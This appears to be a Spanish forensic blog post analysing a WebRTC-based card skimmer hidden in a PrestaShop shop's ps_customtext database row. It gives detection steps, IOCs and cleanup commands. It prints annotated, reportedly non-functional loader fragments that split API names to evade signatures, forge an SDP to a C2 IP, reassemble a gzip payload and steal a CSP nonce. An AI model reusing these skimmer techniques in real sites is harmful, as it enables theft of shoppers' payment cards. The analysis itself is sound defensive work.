Caso real de análisis forense sobre una tienda PrestaShop 1.7. Todos los datos están anonimizados: no aparece el dominio afectado ni datos de clientes, y el payload se muestra troceado y comentado (no es funcional). Los indicadores de red (IP del C2, huella DTLS) sí se publican porque ayudan a otros defensores.

TL;DR

Una tienda mostraba un formulario de pago falso que robaba tarjetas. Lo raro: el código de ese formulario no estaba en ningún fichero ni en la base de datos. Tras descartar todos los sitios habituales, resultó que había un pequeño loader inyectado en la cabecera (vía la tabla ps_info_lang del módulo ps_customtext) que abría un canal de datos WebRTC contra un servidor del atacante, descargaba el formulario de robo en tiempo de ejecución y lo ejecutaba saltándose la Content-Security-Policy robando el nonce de un <script> legítimo. Como el canal es WebRTC sobre UDP, no pasa por HTTP: ni el WAF ni los logs de acceso lo ven.

Flujo del ataqueDiagrama del analisis forense: Flujo del ataque. Skimmer por WebRTC — flujo del ataque PrestaShop 1.7 · el formulario de tarjeta nunca toca el disco: se entrega en vivo Servidor del atacante C2 · 95.164.123.166 [2a12:bec4:1460:50::2] UDP/DTLS/SCTP puertos 3478 / 3479 1 El visitante abre cualquier página de la tienda 2 La cabecera trae un <script> inyectado origen: ps_info_lang (módulo ps_customtext), renderizado con nofilter 3 El loader monta RTCPeerConnection nombre partido ‘RTC’+’Peer’+’Connec’+’tion’ y SDP forjado a mano 4 Abre un DataChannel WebRTC directo hacia el C2 5 Recibe el payload por trozos (gzip) hasta el marcador __EOF__ 6 exec(): crea un <script> con el nonce CSP robado -> evade la CSP 7 Vacía el <body> y pinta el formulario de pago falso 8 La víctima envía la tarjeta → POST / (ccccnum, exdate, cvvcc) WebRTC >> payload << exfiltración de la tarjeta –>
Flujo del ataque

1. El síntoma

El aviso del cliente era clásico de web skimming:

«La página carga normal y después se elimina todo lo que hay dentro del <body> y aparece su formulario de pago. Al rellenarlo, manda los datos por POST a /

La petición de exfiltración, capturada en el navegador de una víctima:

POST /  ·  200 OK
Content-Type: application/x-www-form-urlencoded
Referer: https://tienda-ejemplo/pedido

ccccnum=4242424242424242&exdate=0128&cvvcc=123

Tres campos: número de tarjeta, caducidad y CVV. Suficiente para clonar el pago. El objetivo estaba claro; faltaba encontrar de dónde salía ese formulario.


2. Descarte metódico: todo daba «limpio»

Lo primero, y lo que hace interesante este caso, es que todas las búsquedas estáticas fallaron. Esto no fue tiempo perdido: acotar dónde no está es lo que te lleva a dónde está.

Proceso de detecciónDiagrama del analisis forense: Proceso de detección. Cómo se localizó: del «todo limpio» al hallazgo Un escaneo de firmas limpio no es una prueba — hubo que mirar lo que el servidor RENDERIZA Búsquedas que dieron LIMPIO · grep ccccnum / cvvcc / exdate en todo el árbol · los mismos en el dump de BBDD (1,1 GB) · base64 / hex de esos campos · payment.tpl -> stock, intacto · contenedor GTM -> sin tags HTML propios · auto_prepend_file / .user.ini · JS del tema -> idénticos byte a byte · ps_configuration -> sin inyección · atob / eval / _0x en la home La pista clave El formulario se construye en el navegador, no se sirve como HTML. Hay que capturar la página REAL del paso de pago, no leer ficheros. -> reproducir el checkout completo 1 · Reproducir checkout por HTTP cliente -> dirección -> envío -> paso de pago 2 · Capturar el HTML del paso de pago aparece un <script> inline de 2.750 bytes 3 · Analizar el script -> loader WebRTC RTCPeerConnection partido, C2, nonce CSP 4 · Rastrear el origen por tokens únicos IP C2 + credenciales ICE -> 5 hits en el dump 5 · ORIGEN: ps_info_lang (id_info=1) módulo ps_customtext · 5 idiomas · nofilter renderizado en la cabecera de TODAS las páginas
Proceso de detección

Comprobaciones y resultado:

ComprobaciónResultado
grep ccccnum / cvvcc / exdate en todo el árbol de ficheros0 coincidencias
Los mismos campos en el dump de BBDD (1,1 GB)0 coincidencias
Codificados en base64 / hex en el dump0 coincidencias
Plantilla del paso de pago (payment.tpl)stock, intacta
Contenedor de Google Tag Manager0 tags HTML personalizados
auto_prepend_file / .user.inininguno
Ficheros .js del tema servidos vs. copia localidénticos byte a byte
ps_configuration (inyección de JS común en PrestaShop)limpio
atob / eval / _0x en la home descargada en vivolimpio

La lección número uno de este post: un escaneo de firmas limpio no es una prueba de que la tienda esté limpia. Si buscas el patrón conocido y no aparece, puede que estés mirando en el sitio equivocado — no que no exista.

La pista que reorienta la investigación: si el formulario no se sirve como HTML y ningún JS del sitio lo contiene, entonces se construye en el navegador en tiempo de ejecución. Para verlo hay que capturar la página real del paso de pago, no leer ficheros.


3. Reproducir el checkout para capturar el payload

El skimmer solo actuaba en el paso de pago. Así que reproduje un checkout completo por HTTP:

  1. Crear un cliente de prueba.
  2. Guardar una dirección (esta tienda exige un documento de identidad válido en la dirección — un UPDATE con un DNI de checksum correcto desbloqueó el paso).
  3. Confirmar la dirección → se abre el paso de envío.
  4. Seleccionar transportista y confirmar → se abre el paso de pago.
  5. Capturar el HTML de ese paso.

En ese HTML, dentro de la cabecera (<div id="custom-text">), apareció un <script> inline de 2.750 bytes que no estaba en ninguna de las páginas anteriores capturadas… aunque en realidad sí estaba en todas: simplemente no lo había buscado por los tokens correctos (usa nombres de API partidos, sin eval ni atob literales).


4. Anatomía del loader

Este es el corazón del post. El script hace cuatro cosas.

4.1 Evadir firmas: nombres de API partidos

// (fragmento anotado, NO funcional)
var W  = 'RTC' + 'Peer' + 'Connec' + 'tion',   // -> "RTCPeerConnection", nunca aparece entera
    V4 = '95.164.123.166',                       // C2 IPv4
    V6 = '2a12:bec4:1460:50::2',                  // C2 IPv6
    PORT = 3479,
    FP = '1D:44:58:...:FB',                       // huella DTLS del C2 (fijada)
    SP = '...clientephrase...',                   // ice-pwd del "servidor" (C2)
    CP = '...serverphrase...';                    // ice-pwd del cliente

Partir 'RTC'+'Peer'+'Connec'+'tion' es deliberado: cualquier búsqueda de RTCPeerConnection en los ficheros o en el HTML no encuentra la cadena, porque solo existe montada en memoria en tiempo de ejecución. Lo mismo con no usar eval( ni atob( literales.

4.2 Forjar una conexión WebRTC contra el C2

El loader no usa un servidor de señalización: fabrica a mano el SDP answer apuntando a la IP y credenciales del atacante, y fuerza la conexión:

// (fragmento anotado, NO funcional)
p.createOffer().then(function (o) {
  o.sdp = o.sdp
    .replace(/a=ice-ufrag:.+/g, 'a=ice-ufrag:' + uf)
    .replace(/a=ice-pwd:.+/g,  'a=ice-pwd:'  + CP);
  return p.setLocalDescription(o);
}).then(function () {
  // "answer" sintético apuntando directamente al C2:
  return p.setRemoteDescription({ type: 'answer', sdp:
    'v=0 ... a=ice-pwd:' + SP +
    ' a=fingerprint:sha-256 ' + FP +
    ' a=setup:passive m=application ' + PORT + ' UDP/DTLS/SCTP webrtc-datachannel' +
    ' c=IN ' + af + ' ' + ip + ' a=candidate:... ' + ip + ' ' + PORT + ' typ host'
  });
});

El resultado es un DataChannel WebRTC directo navegador ↔ servidor del atacante. Antes hace un sondeo IPv6/IPv4 (probeV6) para elegir familia de direcciones y maximizar la conectividad.

Por qué esto es un salto respecto al skimmer clásico: el skimmer de toda la vida exfiltra por fetch(), XHR o una imagen a un dominio externo. Todo eso es HTTP: deja rastro en los logs y un WAF o una CSP con connect-src lo pueden frenar. WebRTC va por UDP/DTLS-SCTP y no pasa por Cloudflare, Apache ni el WAF de capa 7.

Por qué es invisibleDiagrama del analisis forense: Por qué es invisible. Por qué no aparece en logs ni lo para el WAF El tráfico HTTP normal atraviesa Cloudflare/Apache; el canal WebRTC los rodea Navegador de la víctima Cloudflare + WAF capa 7 Apache / PHP access_log (queda registrado) Tienda (BBDD) Servidor atacante 95.164.123.166 UDP 3478/3479 HTTP normal visible y filtrable WebRTC / DTLS-SCTP sobre UDP no pasa por Cloudflare, Apache ni el WAF · no hay access_log
Por qué es invisible

4.3 Recibir y descomprimir el payload

// (fragmento anotado, NO funcional)
d.onmessage = function (e) {
  if (e.data === '__EOF__') { run(); return; }   // marcador de fin
  parts.push(e.data);                            // acumula trozos
};
// al terminar, si viene comprimido:
new Response(
  new Blob(parts).stream().pipeThrough(new DecompressionStream('gzip'))
).text().then(function (code) { exec(code); });

El payload (el formulario de tarjeta real) llega troceado, opcionalmente comprimido con gzip vía DecompressionStream, y se reensambla hasta un marcador __EOF__. Nunca se escribe en disco.

4.4 Ejecutar saltándose la CSP

Aquí está la parte más elegante — y más peligrosa:

// (fragmento anotado, NO funcional)
function exec(c) {
  var s = document.createElement('script'), n = document.querySelectorAll('script');
  for (var i = 0; i < n.length; i++) {
    if (n[i].nonce) {                 // roba el nonce de un <script> legítimo de la página
      s.nonce = n[i].nonce;           // ...y lo reutiliza -> la CSP lo acepta
      s.textContent = c;
      document.head.appendChild(s);
      return;
    }
  }
  try { Function(c)(); } catch (e) {} // fallback si no hay nonce
}

Muchos administradores confían en una Content-Security-Policy con nonce para impedir scripts inyectados. Pero si el atacante ya ejecuta JavaScript en la página, puede leer el nonce del DOM y reutilizarlo. El nonce protege contra inyección de HTML, no contra código que ya corre. Esta es la lección número dos: un nonce de CSP no te protege de un script que ya está dentro.

El código recibido es el que borra el <body>, pinta el formulario de pago falso y hace el POST / con la tarjeta. Como se entrega en vivo cada vez, no existe como texto en la web: por eso ningún grep de ficheros o de base de datos lo encuentra.


5. Dónde estaba escondido el loader

El <script> de la cabecera venía de la base de datos:

Tablaps_info_lang, columna text
Filasid_info = 1 en los 5 idiomas (id_lang 1–5)
Módulo que lo renderizaps_customtext («Bloque de texto personalizado»)
Cómo llega al HTMLel layout lo pinta con {$…nofilter} → HTML en crudo, sin escapar
Dónde apareceen la cabecera de todas las páginas

Detalles que lo hacían un buen escondite:

  • id_info = 1 es la fila por defecto del módulo. El atacante no creó nada nuevo: sobrescribió el texto de bienvenida que ps_customtext trae de fábrica. Pasa por contenido legítimo.
  • Vive en la BBDD, no en ficheros. No está en Git, no lo ve un escáner de ficheros, no aparece en un diff del core.
  • Se renderiza con nofilter. PrestaShop confía en que ese campo lo rellena un administrador, así que no lo escapa: el <script> se sirve tal cual.
  • Estaba también cacheado en var/cache/prod/smarty/cache/ps_customtext/..., un directorio que muchos escaneos excluyen por ruido.

6. Indicadores de compromiso (IOC)

C2 IPv4            95.164.123.166
C2 IPv6            2a12:bec4:1460:50::2
Puertos            3478 (sondeo) / 3479 (datos)   UDP/DTLS/SCTP
Huella DTLS        1D:44:58:5A:96:F8:16:06:4C:5E:71:8B:AE:FE:35:03:...:FB
Marcador de fin    __EOF__  (en el DataChannel)
Firma en código    RTCPeerConnection montado como 'RTC'+'Peer'+'Connec'+'tion'
Exfiltración       POST /   con   ccccnum=<pan>&exdate=<mmYY>&cvvcc=<cvv>
Ubicación en BBDD  ps_info_lang.text (módulo ps_customtext), renderizado con nofilter

7. Cómo detectarlo y limpiarlo

Detección

  • Mira lo que el servidor RENDERIZA, no solo lo que ALMACENA. Descarga el HTML real de las páginas (incluido el paso de pago con carrito) y búscalo ahí.
  • Busca en el HTML servido, no en ficheros: RTCPeerConnection y su forma partida ('RTC'+'Peer'), createDataChannel, DecompressionStream, setRemoteDescription, ice-pwd, a=fingerprint.
  • Revisa los campos que PrestaShop pinta con nofilter: ps_info_lang, ps_configuration, bloques de HTML de módulos, CMS. Compara contra una instalación limpia.
  • Purga y revisa var/cache/ — puede guardar una copia compilada del payload.

Limpieza (de esta inyección concreta)

-- 1. Vaciar o restaurar el texto legítimo del bloque
UPDATE ps_info_lang SET text = '' WHERE id_info = 1;
SELECT id_lang, LEFT(text, 40) FROM ps_info_lang WHERE id_info = 1;  -- verificar
# 2. Purgar la caché (contiene una copia compilada)
rm -rf var/cache/prod/* var/cache/dev/*
# 3. Defensa en profundidad: bloquear salida a los IOC de red en el firewall.

Aviso crítico: limpiar la base de datos quita el skimmer hoy, pero si el atacante mantiene acceso de escritura al servidor (webshells, un módulo con subida arbitraria, un controlador de administración expuesto al front…), reinyectará en cuanto reabras la tienda. El orden correcto es: congelar evidencia → cerrar la vía de entrada → limpiar la BBDD → rotar credenciales → reabrir. Limpiar sin cerrar la entrada es tirar el dinero.

Prevención

  • CSP con connect-src restrictivo. No frena a un script ya inyectado que roba el nonce, pero sí limita a dónde puede hablar. Nota: bloquear WebRTC desde CSP requiere directivas de nivel 3 (webrtc) y no todos los navegadores las aplican igual — no te fíes solo de esto.
  • Permisos de escritura mínimos en el docroot; que upload/, img/, var/, js/ no ejecuten PHP.
  • No exponer controladores de administración al front ni endpoints que ejecuten SQL sin autenticación.
  • Mantener versión. Una tienda en PHP sin soporte y módulos sin parchear es cuestión de tiempo.

8. Lecciones para llevarse

  1. Limpio en ficheros ≠ limpio. El análisis estático es necesario pero no suficiente. Verifica lo que el servidor entrega al navegador.
  2. El nonce de CSP no protege de código que ya corre en la página. Protege contra inyección de HTML, no contra un script que ya está dentro y lee el DOM.
  3. WebRTC es un canal C2 real. Rodea WAF y logs porque no es HTTP. Inclúyelo en tu modelo de amenaza y en tu monitorización.
  4. La base de datos es superficie de ataque. Cualquier campo que se renderice con nofilter es un punto de inyección persistente que sobrevive a reinstalar ficheros.

Análisis realizado sobre una copia forense (árbol de ficheros + dump de BBDD + logs). Dominio y datos de cliente anonimizados. Publicado con fines defensivos y de concienciación.

Share
Contactar ahora
David Escudero | Programador freelance, desarrollador paginas web
Resumen de privacidad

Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible. La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.